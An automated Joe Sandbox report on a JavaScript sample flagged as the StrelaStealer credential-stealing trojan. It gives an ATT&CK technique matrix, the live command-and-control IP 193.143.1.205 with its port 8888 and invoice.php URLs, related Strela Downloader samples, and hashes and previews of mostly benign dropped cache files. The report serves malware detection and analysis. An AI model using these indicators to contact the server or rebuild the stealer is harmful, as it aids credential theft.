Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
22951172482589918451.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
22951172482589918451.js	7%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.2708055793.000001BBAD600000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1480260904.000001BBAD3E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1479734746.0000023BD09DB000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.1479734746.0000023BD09A8000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588654
Start date and time:	2025-01-11 03:42:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	22951172482589918451.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.22.242.123, 2.22.242.11, 2.16.168.107, 2.16.168.105, 20.12.23.50, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:43:24	API Interceptor	21x Sleep call for process: powershell.exe modified
21:43:28	API Interceptor	1x Sleep call for process: net.exe modified
21:43:28	API Interceptor	2x Sleep call for process: svchost.exe modified
21:43:36	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3462260851125011899.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1525641771920916745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.802193576876708
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAN:RJE+Lfki1GjHwU/+vVhWqpg
MD5:	20C2F3F787BDDF6B004D2BCB08F8B20D
SHA1:	D4D92F729A1FEC1F49C2DB3C69A9E5E8D6A814D9
SHA-256:	27D71B447E88928E920929A8AA4A272C19E2E79E8C0BC810EC80415152B9DB65
SHA-512:	D80849BDA78DEB272D3934990EE5E9244649F4DA5CFDC68128F7EF981E9860163B6C80A47CB4622276950D935BB731708847D2428B6799E131781424A0A474EF
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3057453d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433205619077797
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:razaHvxXy2V2UR
MD5:	F26835F1400392B4E0145796004B5322
SHA1:	EAA6C19A1792CC8611FD0FAB0FFC7903C5DA6CE9
SHA-256:	3D73EF69B23E342518566B1E1657C11A1FC77F9CF39DBC76AA97FBB9B2F44187
SHA-512:	2F610489F46E7F5DA99151D213B9507D046032493774FF097923C60350DBC84AD3AB9EC1E5DBE89EC4334A54DF9B57E26282F06C98E495AFEC57A6318443DF76
Malicious:	false
Preview:	0WE=... ...............X\...;...{......................0.x...... ...{s..+...}i.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................-..+...}....................o..+...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0814379952088024
Encrypted:	false
SSDEEP:	3:P//KYeOWol/nqlFcl1ZUlllllssDllallGBnX/l/Tj/k7/t:PXKzMl/qlFclQ/lvJlA254
MD5:	EA57D6A54CCB8E9BC21E78DC952814DD
SHA1:	AF320D176BE4A138B2926DC592159E96470113FB
SHA-256:	D56611AB10BF0A4FF45FA50AAAD46E3816610FAD5C19184BC4E576DA3475FE37
SHA-512:	F0818DC622518B6246725313E10167977B825C46F3832EE6702124AF01E84A3CD63851F5E52FD2622DF74A58CE9EEC7C82CD70D27E9EF8FAAA65F8096EAC6A37
Malicious:	false
Preview:	.].*.....................................;...{...+...}... ...{s.......... ...{s.. ...{s.P.... ...{s...................o..+...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.262707680277724
Encrypted:	false
SSDEEP:	6:iO4q5d1L+q2PCHhJ2nKuAl9OmbnIFUtSq5dHGNj1Zmwsq5dHGN1LVkwOCHhJ2nKZ:7/+vBHAahFUtPEj1/pE9V56HAaSJ
MD5:	A9B80E70500A93517D9C6B6464D7BEEC
SHA1:	32CD18BE54C6D5B4556DBD280ED42F8EE046424C
SHA-256:	2A0C7FAC07E1574EAD68DB5EF61D53C85B3C45A4A153C09E342431E59C2B3E20
SHA-512:	94E6137CD71B020B6F23B547442FD1036E434A1CCC4481D2E5AEDC99C7FBA52D62682A42D7012272C1DD0C111D06ED1A81811CC8266061890861C3D8C929FE47
Malicious:	false
Preview:	2025/01/10-21:43:28.674 c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:43:28.677 c9c Recovering log #3.2025/01/10-21:43:28.677 c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.262707680277724
Encrypted:	false
SSDEEP:	6:iO4q5d1L+q2PCHhJ2nKuAl9OmbnIFUtSq5dHGNj1Zmwsq5dHGN1LVkwOCHhJ2nKZ:7/+vBHAahFUtPEj1/pE9V56HAaSJ
MD5:	A9B80E70500A93517D9C6B6464D7BEEC
SHA1:	32CD18BE54C6D5B4556DBD280ED42F8EE046424C
SHA-256:	2A0C7FAC07E1574EAD68DB5EF61D53C85B3C45A4A153C09E342431E59C2B3E20
SHA-512:	94E6137CD71B020B6F23B547442FD1036E434A1CCC4481D2E5AEDC99C7FBA52D62682A42D7012272C1DD0C111D06ED1A81811CC8266061890861C3D8C929FE47
Malicious:	false
Preview:	2025/01/10-21:43:28.674 c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:43:28.677 c9c Recovering log #3.2025/01/10-21:43:28.677 c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.14548514794593
Encrypted:	false
SSDEEP:	6:iO4q5d+WDM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSq5d8opgZmwsq5d8opDMVkwOC1:7gGM+vBHAa8uFUtFm/fpMV56HAa8RJ
MD5:	E629145F225E21CDCC5D67D7BFC6CA03
SHA1:	6BFDACD7AC394D486F957ADB53A75A126694C40A
SHA-256:	C4792C484B7D7B20CD377683C9A9BF64FC84FB4AC7ADB81F59845CA4234E4898
SHA-512:	D00780B7C0457F4FC8894204C1C749E23781A470E9293B3E7AFEE250A8F874B778211BA654CD4E650EAD3448DE0B1D774FFB4AA92C373CEC288196411585395C
Malicious:	false
Preview:	2025/01/10-21:43:28.810 efc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:43:28.812 efc Recovering log #3.2025/01/10-21:43:28.812 efc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.14548514794593
Encrypted:	false
SSDEEP:	6:iO4q5d+WDM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSq5d8opgZmwsq5d8opDMVkwOC1:7gGM+vBHAa8uFUtFm/fpMV56HAa8RJ
MD5:	E629145F225E21CDCC5D67D7BFC6CA03
SHA1:	6BFDACD7AC394D486F957ADB53A75A126694C40A
SHA-256:	C4792C484B7D7B20CD377683C9A9BF64FC84FB4AC7ADB81F59845CA4234E4898
SHA-512:	D00780B7C0457F4FC8894204C1C749E23781A470E9293B3E7AFEE250A8F874B778211BA654CD4E650EAD3448DE0B1D774FFB4AA92C373CEC288196411585395C
Malicious:	false
Preview:	2025/01/10-21:43:28.810 efc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:43:28.812 efc Recovering log #3.2025/01/10-21:43:28.812 efc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.950997133876677
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWuXhsBdOg2HYcaq3QYiub6P7E4T3y:Y2sRdsbuXydMHT3QYhbS7nby
MD5:	ECE4DD44417E459E66780F5EA6BEE778
SHA1:	EE97DB5243105CF3CAB0187AB125D466E25AB605
SHA-256:	DAB58D81041BBB2D9D1BBFFFEAE8FB25B9CEF73026134567ADEA6BE5049C9AB3
SHA-512:	90885350987CC3406E2C6E3DAFD3A5C6D3F650475F3CCDD897AA2F0C4404151943B81ED6AB48FD4CC8B35CBDDBC2DA23D3800A0D82F20C503592AE4FB85001C2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123420394836","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122982},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\df4adc9e-b913-4e7b-bbb0-7ea8ac116b29.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.950997133876677
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWuXhsBdOg2HYcaq3QYiub6P7E4T3y:Y2sRdsbuXydMHT3QYhbS7nby
MD5:	ECE4DD44417E459E66780F5EA6BEE778
SHA1:	EE97DB5243105CF3CAB0187AB125D466E25AB605
SHA-256:	DAB58D81041BBB2D9D1BBFFFEAE8FB25B9CEF73026134567ADEA6BE5049C9AB3
SHA-512:	90885350987CC3406E2C6E3DAFD3A5C6D3F650475F3CCDD897AA2F0C4404151943B81ED6AB48FD4CC8B35CBDDBC2DA23D3800A0D82F20C503592AE4FB85001C2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123420394836","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122982},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.231648462721195
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bfT5su6a:S43C4mS7fFi0KFYDjr3LWO3V3aw+bfTp
MD5:	167CE5C4D738DA42412CE0313477DB44
SHA1:	FA462CDAE0260DEA355422637EA08A925648DA07
SHA-256:	B330B48F4928719CC0AEED03B42C52B6FE7502E547052B449B94B9F69BF9810F
SHA-512:	CE0E770F7F2C5CADBF16313C986A33A909DD6004E85F223D29D87C2A41B11C33C6D5DB7C7F24C383E4A3B04CB659EF8672950CF02031C6B4EDF5C36725A73267
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.2085310161097285
Encrypted:	false
SSDEEP:	6:iO4q5d9UDM+q2PCHhJ2nKuAl9OmbzNMxIFUtSq5dHSwgZmwsq5dHSwDMVkwOCHhc:7bYM+vBHAa8jFUtqZ/0MMV56HAa84J
MD5:	0D8855C7D6BA3B7A67B5FD5B42A2D02F
SHA1:	841D9BC20E1C6D76C044952DD6B99D50F2BF65DC
SHA-256:	CF6F3A51CDB2C9DFA6BE3B7D7E4E46D8552C7E216AECF08BABE136410E8B4E69
SHA-512:	CF42731DA8ED05BAC03A07881E475051C6E39CDEA781C6F7296C50A94C80DF53DBB59C1BB1C05350785E922441506103244B2E69118B42D78ADCFEE4440F621C
Malicious:	false
Preview:	2025/01/10-21:43:28.958 efc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:43:28.959 efc Recovering log #3.2025/01/10-21:43:28.959 efc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.2085310161097285
Encrypted:	false
SSDEEP:	6:iO4q5d9UDM+q2PCHhJ2nKuAl9OmbzNMxIFUtSq5dHSwgZmwsq5dHSwDMVkwOCHhc:7bYM+vBHAa8jFUtqZ/0MMV56HAa84J
MD5:	0D8855C7D6BA3B7A67B5FD5B42A2D02F
SHA1:	841D9BC20E1C6D76C044952DD6B99D50F2BF65DC
SHA-256:	CF6F3A51CDB2C9DFA6BE3B7D7E4E46D8552C7E216AECF08BABE136410E8B4E69
SHA-512:	CF42731DA8ED05BAC03A07881E475051C6E39CDEA781C6F7296C50A94C80DF53DBB59C1BB1C05350785E922441506103244B2E69118B42D78ADCFEE4440F621C
Malicious:	false
Preview:	2025/01/10-21:43:28.958 efc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:43:28.959 efc Recovering log #3.2025/01/10-21:43:28.959 efc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

